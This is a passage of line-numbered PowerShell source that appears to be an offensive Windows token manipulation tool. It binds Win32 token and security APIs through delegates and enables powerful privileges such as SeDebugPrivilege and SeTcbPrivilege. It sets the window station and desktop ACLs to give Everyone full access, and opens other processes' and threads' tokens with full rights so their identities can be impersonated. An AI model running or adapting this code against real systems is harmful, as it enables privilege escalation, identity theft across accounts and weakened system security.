581 $OpenProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessAddr, $OpenProcessDelegate)
582
583 $OpenProcessTokenAddr = Get-ProcAddress advapi32.dll OpenProcessToken
584 $OpenProcessTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr].MakeByRefType()) ([Bool])
585 $OpenProcessToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenProcessTokenAddr, $OpenProcessTokenDelegate)
586
587 $GetTokenInformationAddr = Get-ProcAddress advapi32.dll GetTokenInformation
588 $GetTokenInformationDelegate = Get-DelegateType @([IntPtr], $TOKEN_INFORMATION_CLASS, [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
589 $GetTokenInformation = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetTokenInformationAddr, $GetTokenInformationDelegate)
590
591 $SetThreadTokenAddr = Get-ProcAddress advapi32.dll SetThreadToken
592 $SetThreadTokenDelegate = Get-DelegateType @([IntPtr], [IntPtr]) ([Bool])
593 $SetThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetThreadTokenAddr, $SetThreadTokenDelegate)
594
595 $ImpersonateLoggedOnUserAddr = Get-ProcAddress advapi32.dll ImpersonateLoggedOnUser
596 $ImpersonateLoggedOnUserDelegate = Get-DelegateType @([IntPtr]) ([Bool])
597 $ImpersonateLoggedOnUser = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateLoggedOnUserAddr, $ImpersonateLoggedOnUserDelegate)
598
599 $RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf
600 $RevertToSelfDelegate = Get-DelegateType @() ([Bool])
601 $RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate)
602
603 $LsaGetLogonSessionDataAddr = Get-ProcAddress secur32.dll LsaGetLogonSessionData
604 $LsaGetLogonSessionDataDelegate = Get-DelegateType @([IntPtr], [IntPtr].MakeByRefType()) ([UInt32])
605 $LsaGetLogonSessionData = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LsaGetLogonSessionDataAddr, $LsaGetLogonSessionDataDelegate)
606
607 $CreateProcessWithTokenWAddr = Get-ProcAddress advapi32.dll CreateProcessWithTokenW
608 $CreateProcessWithTokenWDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([Bool])
609 $CreateProcessWithTokenW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateProcessWithTokenWAddr, $CreateProcessWithTokenWDelegate)
610
611 $memsetAddr = Get-ProcAddress msvcrt.dll memset
612 $memsetDelegate = Get-DelegateType @([IntPtr], [Int32], [IntPtr]) ([IntPtr])
613 $memset = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($memsetAddr, $memsetDelegate)
614
615 $DuplicateTokenExAddr = Get-ProcAddress advapi32.dll DuplicateTokenEx
616 $DuplicateTokenExDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [UInt32], [UInt32], [IntPtr].MakeByRefType()) ([Bool])
617 $DuplicateTokenEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DuplicateTokenExAddr, $DuplicateTokenExDelegate)
618
619 $LookupAccountSidWAddr = Get-ProcAddress advapi32.dll LookupAccountSidW
620 $LookupAccountSidWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UInt32].MakeByRefType(), [IntPtr], [UInt32].MakeByRefType(), [UInt32].MakeByRefType()) ([Bool])
621 $LookupAccountSidW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupAccountSidWAddr, $LookupAccountSidWDelegate)
622
623 $CloseHandleAddr = Get-ProcAddress kernel32.dll CloseHandle
624 $CloseHandleDelegate = Get-DelegateType @([IntPtr]) ([Bool])
625 $CloseHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseHandleAddr, $CloseHandleDelegate)
626
627 $LsaFreeReturnBufferAddr = Get-ProcAddress secur32.dll LsaFreeReturnBuffer
628 $LsaFreeReturnBufferDelegate = Get-DelegateType @([IntPtr]) ([UInt32])
629 $LsaFreeReturnBuffer = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LsaFreeReturnBufferAddr, $LsaFreeReturnBufferDelegate)
630
631 $OpenThreadAddr = Get-ProcAddress kernel32.dll OpenThread
632 $OpenThreadDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])
633 $OpenThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadAddr, $OpenThreadDelegate)
634
635 $OpenThreadTokenAddr = Get-ProcAddress advapi32.dll OpenThreadToken
636 $OpenThreadTokenDelegate = Get-DelegateType @([IntPtr], [UInt32], [Bool], [IntPtr].MakeByRefType()) ([Bool])
637 $OpenThreadToken = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenThreadTokenAddr, $OpenThreadTokenDelegate)
638
639 $CreateProcessAsUserWAddr = Get-ProcAddress advapi32.dll CreateProcessAsUserW
640 $CreateProcessAsUserWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [IntPtr], [Bool], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([Bool])
641 $CreateProcessAsUserW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateProcessAsUserWAddr, $CreateProcessAsUserWDelegate)
642
643 $OpenWindowStationWAddr = Get-ProcAddress user32.dll OpenWindowStationW
644 $OpenWindowStationWDelegate = Get-DelegateType @([IntPtr], [Bool], [UInt32]) ([IntPtr])
645 $OpenWindowStationW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenWindowStationWAddr, $OpenWindowStationWDelegate)
646
647 $OpenDesktopAAddr = Get-ProcAddress user32.dll OpenDesktopA
648 $OpenDesktopADelegate = Get-DelegateType @([String], [UInt32], [Bool], [UInt32]) ([IntPtr])
649 $OpenDesktopA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenDesktopAAddr, $OpenDesktopADelegate)
650
651 $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf
652 $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool])
653 $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate)
654
655 $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA
656 $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], $LUID.MakeByRefType()) ([Bool])
657 $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate)
658
659 $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges
660 $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], $TOKEN_PRIVILEGES.MakeByRefType(), [UInt32], [IntPtr], [IntPtr]) ([Bool])
661 $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate)
662
663 $GetCurrentThreadAddr = Get-ProcAddress kernel32.dll GetCurrentThread
664 $GetCurrentThreadDelegate = Get-DelegateType @() ([IntPtr])
665 $GetCurrentThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetCurrentThreadAddr, $GetCurrentThreadDelegate)
666
667 $GetSecurityInfoAddr = Get-ProcAddress advapi32.dll GetSecurityInfo
668 $GetSecurityInfoDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType()) ([UInt32])
669 $GetSecurityInfo = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetSecurityInfoAddr, $GetSecurityInfoDelegate)
670
671 $SetSecurityInfoAddr = Get-ProcAddress advapi32.dll SetSecurityInfo
672 $SetSecurityInfoDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [IntPtr], [IntPtr], [IntPtr], [IntPtr]) ([UInt32])
673 $SetSecurityInfo = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetSecurityInfoAddr, $SetSecurityInfoDelegate)
674
675 $GetAceAddr = Get-ProcAddress advapi32.dll GetAce
676 $GetAceDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr].MakeByRefType()) ([IntPtr])
677 $GetAce = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetAceAddr, $GetAceDelegate)
678
679 $LookupAccountSidWAddr = Get-ProcAddress advapi32.dll LookupAccountSidW
680 $LookupAccountSidWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UInt32].MakeByRefType(), [IntPtr], [UInt32].MakeByRefType(), [UInt32].MakeByRefType()) ([Bool])
681 $LookupAccountSidW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupAccountSidWAddr, $LookupAccountSidWDelegate)
682
683 $AddAccessAllowedAceAddr = Get-ProcAddress advapi32.dll AddAccessAllowedAce
684 $AddAccessAllowedAceDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [IntPtr]) ([Bool])
685 $AddAccessAllowedAce = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AddAccessAllowedAceAddr, $AddAccessAllowedAceDelegate)
686
687 $CreateWellKnownSidAddr = Get-ProcAddress advapi32.dll CreateWellKnownSid
688 $CreateWellKnownSidDelegate = Get-DelegateType @([UInt32], [IntPtr], [IntPtr], [UInt32].MakeByRefType()) ([Bool])
689 $CreateWellKnownSid = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateWellKnownSidAddr, $CreateWellKnownSidDelegate)
690
691 $SetEntriesInAclWAddr = Get-ProcAddress advapi32.dll SetEntriesInAclW
692 $SetEntriesInAclWDelegate = Get-DelegateType @([UInt32], $EXPLICIT_ACCESS.MakeByRefType(), [IntPtr], [IntPtr].MakeByRefType()) ([UInt32])
693 $SetEntriesInAclW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SetEntriesInAclWAddr, $SetEntriesInAclWDelegate)
694
695 $LocalFreeAddr = Get-ProcAddress kernel32.dll LocalFree
696 $LocalFreeDelegate = Get-DelegateType @([IntPtr]) ([IntPtr])
697 $LocalFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LocalFreeAddr, $LocalFreeDelegate)
698
699 $LookupPrivilegeNameWAddr = Get-ProcAddress advapi32.dll LookupPrivilegeNameW
700 $LookupPrivilegeNameWDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [UInt32].MakeByRefType()) ([Bool])
701 $LookupPrivilegeNameW = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeNameWAddr, $LookupPrivilegeNameWDelegate)
702 ###############################
703
704
705 #Used to add 64bit memory addresses
706 Function Add-SignedIntAsUnsigned
707 {
708 Param(
709 [Parameter(Position = 0, Mandatory = $true)]
710 [Int64]
711 $Value1,
712
713 [Parameter(Position = 1, Mandatory = $true)]
714 [Int64]
715 $Value2
716 )
717
718 [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
719 [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
720 [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
721
722 if ($Value1Bytes.Count -eq $Value2Bytes.Count)
723 {
724 $CarryOver = 0
725 for ($i = 0; $i -lt $Value1Bytes.Count; $i++)
726 {
727 #Add bytes
728 [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver
729
730 $FinalBytes[$i] = $Sum -band 0x00FF
731
732 if (($Sum -band 0xFF00) -eq 0x100)
733 {
734 $CarryOver = 1
735 }
736 else
737 {
738 $CarryOver = 0
739 }
740 }
741 }
742 else
743 {
744 Throw "Cannot add bytearrays of different sizes"
745 }
746
747 return [BitConverter]::ToInt64($FinalBytes, 0)
748 }
749
750
751 #Enable SeAssignPrimaryTokenPrivilege, needed to query security information for desktop DACL
752 function Enable-SeAssignPrimaryTokenPrivilege
753 {
754 [IntPtr]$ThreadHandle = $GetCurrentThread.Invoke()
755 if ($ThreadHandle -eq [IntPtr]::Zero)
756 {
757 Throw "Unable to get the handle to the current thread"
758 }
759
760 [IntPtr]$ThreadToken = [IntPtr]::Zero
761 [Bool]$Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
762 $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
763
764 if ($Result -eq $false)
765 {
766 if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN)
767 {
768 $Result = $ImpersonateSelf.Invoke($Win32Constants.SECURITY_DELEGATION)
769 if ($Result -eq $false)
770 {
771 Throw (New-Object ComponentModel.Win32Exception)
772 }
773
774 $Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
775 if ($Result -eq $false)
776 {
777 Throw (New-Object ComponentModel.Win32Exception)
778 }
779 }
780 else
781 {
782 Throw ([ComponentModel.Win32Exception] $ErrorCode)
783 }
784 }
785
786 $CloseHandle.Invoke($ThreadHandle) | Out-Null
787
788 $LuidSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID)
789 $LuidPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidSize)
790 $LuidObject = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidPtr, [Type]$LUID)
791 [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidPtr)
792
793 $Result = $LookupPrivilegeValue.Invoke($null, "SeAssignPrimaryTokenPrivilege", [Ref] $LuidObject)
794
795 if ($Result -eq $false)
796 {
797 Throw (New-Object ComponentModel.Win32Exception)
798 }
799
800 [UInt32]$LuidAndAttributesSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID_AND_ATTRIBUTES)
801 $LuidAndAttributesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidAndAttributesSize)
802 $LuidAndAttributes = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidAndAttributesPtr, [Type]$LUID_AND_ATTRIBUTES)
803 [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidAndAttributesPtr)
804
805 $LuidAndAttributes.Luid = $LuidObject
806 $LuidAndAttributes.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED
807
808 [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_PRIVILEGES)
809 $TokenPrivilegesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize)
810 $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesPtr, [Type]$TOKEN_PRIVILEGES)
811 [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesPtr)
812 $TokenPrivileges.PrivilegeCount = 1
813 $TokenPrivileges.Privileges = $LuidAndAttributes
814
815 $Global:TokenPriv = $TokenPrivileges
816
817 $Result = $AdjustTokenPrivileges.Invoke($ThreadToken, $false, [Ref] $TokenPrivileges, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero)
818 if ($Result -eq $false)
819 {
820 Throw (New-Object ComponentModel.Win32Exception)
821 }
822
823 $CloseHandle.Invoke($ThreadToken) | Out-Null
824 }
825
826
827 #Enable SeSecurityPrivilege, needed to query security information for desktop DACL
828 function Enable-Privilege
829 {
830 Param(
831 [Parameter()]
832 [ValidateSet("SeAssignPrimaryTokenPrivilege", "SeAuditPrivilege", "SeBackupPrivilege", "SeChangeNotifyPrivilege", "SeCreateGlobalPrivilege",
833 "SeCreatePagefilePrivilege", "SeCreatePermanentPrivilege", "SeCreateSymbolicLinkPrivilege", "SeCreateTokenPrivilege",
834 "SeDebugPrivilege", "SeEnableDelegationPrivilege", "SeImpersonatePrivilege", "SeIncreaseBasePriorityPrivilege",
835 "SeIncreaseQuotaPrivilege", "SeIncreaseWorkingSetPrivilege", "SeLoadDriverPrivilege", "SeLockMemoryPrivilege", "SeMachineAccountPrivilege",
836 "SeManageVolumePrivilege", "SeProfileSingleProcessPrivilege", "SeRelabelPrivilege", "SeRemoteShutdownPrivilege", "SeRestorePrivilege",
837 "SeSecurityPrivilege", "SeShutdownPrivilege", "SeSyncAgentPrivilege", "SeSystemEnvironmentPrivilege", "SeSystemProfilePrivilege",
838 "SeSystemtimePrivilege", "SeTakeOwnershipPrivilege", "SeTcbPrivilege", "SeTimeZonePrivilege", "SeTrustedCredManAccessPrivilege",
839 "SeUndockPrivilege", "SeUnsolicitedInputPrivilege")]
840 [String]
841 $Privilege
842 )
843
844 [IntPtr]$ThreadHandle = $GetCurrentThread.Invoke()
845 if ($ThreadHandle -eq [IntPtr]::Zero)
846 {
847 Throw "Unable to get the handle to the current thread"
848 }
849
850 [IntPtr]$ThreadToken = [IntPtr]::Zero
851 [Bool]$Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
852 $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
853
854 if ($Result -eq $false)
855 {
856 if ($ErrorCode -eq $Win32Constants.ERROR_NO_TOKEN)
857 {
858 $Result = $ImpersonateSelf.Invoke($Win32Constants.SECURITY_DELEGATION)
859 if ($Result -eq $false)
860 {
861 Throw (New-Object ComponentModel.Win32Exception)
862 }
863
864 $Result = $OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
865 if ($Result -eq $false)
866 {
867 Throw (New-Object ComponentModel.Win32Exception)
868 }
869 }
870 else
871 {
872 Throw ([ComponentModel.Win32Exception] $ErrorCode)
873 }
874 }
875
876 $CloseHandle.Invoke($ThreadHandle) | Out-Null
877
878 $LuidSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID)
879 $LuidPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidSize)
880 $LuidObject = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidPtr, [Type]$LUID)
881 [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidPtr)
882
883 $Result = $LookupPrivilegeValue.Invoke($null, $Privilege, [Ref] $LuidObject)
884
885 if ($Result -eq $false)
886 {
887 Throw (New-Object ComponentModel.Win32Exception)
888 }
889
890 [UInt32]$LuidAndAttributesSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$LUID_AND_ATTRIBUTES)
891 $LuidAndAttributesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($LuidAndAttributesSize)
892 $LuidAndAttributes = [System.Runtime.InteropServices.Marshal]::PtrToStructure($LuidAndAttributesPtr, [Type]$LUID_AND_ATTRIBUTES)
893 [System.Runtime.InteropServices.Marshal]::FreeHGlobal($LuidAndAttributesPtr)
894
895 $LuidAndAttributes.Luid = $LuidObject
896 $LuidAndAttributes.Attributes = $Win32Constants.SE_PRIVILEGE_ENABLED
897
898 [UInt32]$TokenPrivSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TOKEN_PRIVILEGES)
899 $TokenPrivilegesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TokenPrivSize)
900 $TokenPrivileges = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TokenPrivilegesPtr, [Type]$TOKEN_PRIVILEGES)
901 [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesPtr)
902 $TokenPrivileges.PrivilegeCount = 1
903 $TokenPrivileges.Privileges = $LuidAndAttributes
904
905 $Global:TokenPriv = $TokenPrivileges
906
907 Write-Verbose "Attempting to enable privilege: $Privilege"
908 $Result = $AdjustTokenPrivileges.Invoke($ThreadToken, $false, [Ref] $TokenPrivileges, $TokenPrivSize, [IntPtr]::Zero, [IntPtr]::Zero)
909 if ($Result -eq $false)
910 {
911 Throw (New-Object ComponentModel.Win32Exception)
912 }
913
914 $CloseHandle.Invoke($ThreadToken) | Out-Null
915 Write-Verbose "Enabled privilege: $Privilege"
916 }
917
918
919 #Change the ACL of the WindowStation and Desktop
920 function Set-DesktopACLs
921 {
922 Enable-Privilege -Privilege SeSecurityPrivilege
923
924 #Change the privilege for the current window station to allow full privilege for all users
925 $WindowStationStr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni("WinSta0")
926 $hWinsta = $OpenWindowStationW.Invoke($WindowStationStr, $false, $Win32Constants.ACCESS_SYSTEM_SECURITY -bor $Win32Constants.READ_CONTROL -bor $Win32Constants.WRITE_DAC)
927
928 if ($hWinsta -eq [IntPtr]::Zero)
929 {
930 Throw (New-Object ComponentModel.Win32Exception)
931 }
932
933 Set-DesktopACLToAllowEveryone -hObject $hWinsta
934 $CloseHandle.Invoke($hWinsta) | Out-Null
935
936 #Change the privilege for the current desktop to allow full privilege for all users
937 $hDesktop = $OpenDesktopA.Invoke("default", 0, $false, $Win32Constants.DESKTOP_GENERIC_ALL -bor $Win32Constants.WRITE_DAC)
938 if ($hDesktop -eq [IntPtr]::Zero)
939 {
940 Throw (New-Object ComponentModel.Win32Exception)
941 }
942
943 Set-DesktopACLToAllowEveryone -hObject $hDesktop
944 $CloseHandle.Invoke($hDesktop) | Out-Null
945 }
946
947
948 function Set-DesktopACLToAllowEveryone
949 {
950 Param(
951 [IntPtr]$hObject
952 )
953
954 [IntPtr]$ppSidOwner = [IntPtr]::Zero
955 [IntPtr]$ppsidGroup = [IntPtr]::Zero
956 [IntPtr]$ppDacl = [IntPtr]::Zero
957 [IntPtr]$ppSacl = [IntPtr]::Zero
958 [IntPtr]$ppSecurityDescriptor = [IntPtr]::Zero
959 #0x7 is window station, change for other types
960 $retVal = $GetSecurityInfo.Invoke($hObject, 0x7, $Win32Constants.DACL_SECURITY_INFORMATION, [Ref]$ppSidOwner, [Ref]$ppSidGroup, [Ref]$ppDacl, [Ref]$ppSacl, [Ref]$ppSecurityDescriptor)
961 if ($retVal -ne 0)
962 {
963 Write-Error "Unable to call GetSecurityInfo. ErrorCode: $retVal"
964 }
965
966 if ($ppDacl -ne [IntPtr]::Zero)
967 {
968 $AclObj = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ppDacl, [Type]$ACL)
969
970 #Add all users to acl
971 [UInt32]$RealSize = 2000
972 $pAllUsersSid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($RealSize)
973 $Success = $CreateWellKnownSid.Invoke(1, [IntPtr]::Zero, $pAllUsersSid, [Ref]$RealSize)
974 if (-not $Success)
975 {
976 Throw (New-Object ComponentModel.Win32Exception)
977 }
978
979 #For user "Everyone"
980 $TrusteeSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$TRUSTEE)
981 $TrusteePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TrusteeSize)
982 $TrusteeObj = [System.Runtime.InteropServices.Marshal]::PtrToStructure($TrusteePtr, [Type]$TRUSTEE)
983 [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TrusteePtr)
984 $TrusteeObj.pMultipleTrustee = [IntPtr]::Zero
985 $TrusteeObj.MultipleTrusteeOperation = 0
986 $TrusteeObj.TrusteeForm = $Win32Constants.TRUSTEE_IS_SID
987 $TrusteeObj.TrusteeType = $Win32Constants.TRUSTEE_IS_WELL_KNOWN_GROUP
988 $TrusteeObj.ptstrName = $pAllUsersSid
989
990 #Give full permission
991 $ExplicitAccessSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$EXPLICIT_ACCESS)
992 $ExplicitAccessPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($ExplicitAccessSize)
993 $ExplicitAccess = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExplicitAccessPtr, [Type]$EXPLICIT_ACCESS)
994 [System.Runtime.InteropServices.Marshal]::FreeHGlobal($ExplicitAccessPtr)
995 $ExplicitAccess.grfAccessPermissions = 0xf03ff
996 $ExplicitAccess.grfAccessMode = $Win32constants.GRANT_ACCESS
997 $ExplicitAccess.grfInheritance = $Win32Constants.OBJECT_INHERIT_ACE
998 $ExplicitAccess.Trustee = $TrusteeObj
999
1000 [IntPtr]$NewDacl = [IntPtr]::Zero
1001
1002 $RetVal = $SetEntriesInAclW.Invoke(1, [Ref]$ExplicitAccess, $ppDacl, [Ref]$NewDacl)
1003 if ($RetVal -ne 0)
1004 {
1005 Write-Error "Error calling SetEntriesInAclW: $RetVal"
1006 }
1007
1008 [System.Runtime.InteropServices.Marshal]::FreeHGlobal($pAllUsersSid)
1009
1010 if ($NewDacl -eq [IntPtr]::Zero)
1011 {
1012 throw "New DACL is null"
1013 }
1014
1015 #0x7 is window station, change for other types
1016 $RetVal = $SetSecurityInfo.Invoke($hObject, 0x7, $Win32Constants.DACL_SECURITY_INFORMATION, $ppSidOwner, $ppSidGroup, $NewDacl, $ppSacl)
1017 if ($RetVal -ne 0)
1018 {
1019 Write-Error "SetSecurityInfo failed. Return value: $RetVal"
1020 }
1021
1022 $LocalFree.Invoke($ppSecurityDescriptor) | Out-Null
1023 }
1024 }
1025
1026
1027 #Get the primary token for the specified processId
1028 function Get-PrimaryToken
1029 {
1030 Param(
1031 [Parameter(Position=0, Mandatory=$true)]
1032 [UInt32]
1033 $ProcessId,
1034
1035 #Open the token with all privileges. Requires SYSTEM because some of the privileges are restricted to SYSTEM.
1036 [Parameter()]
1037 [Switch]
1038 $FullPrivs
1039 )
1040
1041 if ($FullPrivs)
1042 {
1043 $TokenPrivs = $Win32Constants.TOKEN_ALL_ACCESS
1044 }
1045 else
1046 {
1047 $TokenPrivs = $Win32Constants.TOKEN_ASSIGN_PRIMARY -bor $Win32Constants.TOKEN_DUPLICATE -bor $Win32Constants.TOKEN_IMPERSONATE -bor $Win32Constants.TOKEN_QUERY
1048 }
1049
1050 $ReturnStruct = New-Object PSObject
1051
1052 $hProcess = $OpenProcess.Invoke($Win32Constants.PROCESS_QUERY_INFORMATION, $true, [UInt32]$ProcessId)
1053 $ReturnStruct | Add-Member -MemberType NoteProperty -Name hProcess -Value $hProcess
1054 if ($hProcess -eq [IntPtr]::Zero)
1055 {
1056 #If a process is a protected process it cannot be enumerated. This call should only fail for protected processes.
1057 $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
1058 Write-Verbose "Failed to open process handle for ProcessId: $ProcessId. ProcessName $((Get-Process -Id $ProcessId).Name). Error code: $ErrorCode . This is likely because this is a protected process."
1059 return $null
1060 }
1061 else
1062 {
1063 [IntPtr]$hProcToken = [IntPtr]::Zero
1064 $Success = $OpenProcessToken.Invoke($hProcess, $TokenPrivs, [Ref]$hProcToken)
1065
1066 #Close the handle to hProcess (the process handle)
1067 if (-not $CloseHandle.Invoke($hProcess))
1068 {
1069 $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
1070 Write-Warning "Failed to close process handle, this is unexpected. ErrorCode: $ErrorCode"
1071 }
1072 $hProcess = [IntPtr]::Zero
1073
1074 if ($Success -eq $false -or $hProcToken -eq [IntPtr]::Zero)
1075 {
1076 $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
1077 Write-Warning "Failed to get processes primary token. ProcessId: $ProcessId. ProcessName $((Get-Process -Id $ProcessId).Name). Error: $ErrorCode"
1078 return $null
1079 }
1080 else
1081 {
1082 $ReturnStruct | Add-Member -MemberType NoteProperty -Name hProcToken -Value $hProcToken
1083 }
1084 }
1085
1086 return $ReturnStruct
1087 }
1088
1089
1090 function Get-ThreadToken
1091 {
1092 Param(
1093 [Parameter(Position=0, Mandatory=$true)]
1094 [UInt32]
1095 $ThreadId
1096 )
1097
1098 $TokenPrivs = $Win32Constants.TOKEN_ALL_ACCESS
1099
1100 $RetStruct = New-Object PSObject
1101 [IntPtr]$hThreadToken = [IntPtr]::Zero
1102
1103 $hThread = $OpenThread.Invoke($Win32Constants.THREAD_ALL_ACCESS, $false, $ThreadId)
1104 if ($hThread -eq [IntPtr]::Zero)
1105 {
1106 $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
1107 if ($ErrorCode -ne $Win32Constants.ERROR_INVALID_PARAMETER) #The thread probably no longer exists
1108 {
1109 Write-Warning "Failed to open thread handle for ThreadId: $ThreadId. Error code: $ErrorCode"
1110 }
1111 }
1112 else
1113 {
1114 $Success = $OpenThreadToken.Invoke($hThread, $TokenPrivs, $false, [Ref]$hThreadToken)
1115 if (-not $Success)
1116 {
1117 $ErrorCode = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
1118 if (($ErrorCode -ne $Win32Constants.ERROR_NO_TOKEN) -and #This error is returned when the thread isn't impersonated
1119 ($ErrorCode -ne $Win32Constants.ERROR_INVALID_PARAMETER)) #Probably means the thread was closed
1120 {
1121 Write-Warning "Failed to call OpenThreadToken for ThreadId: $ThreadId. Error code: $ErrorCode"
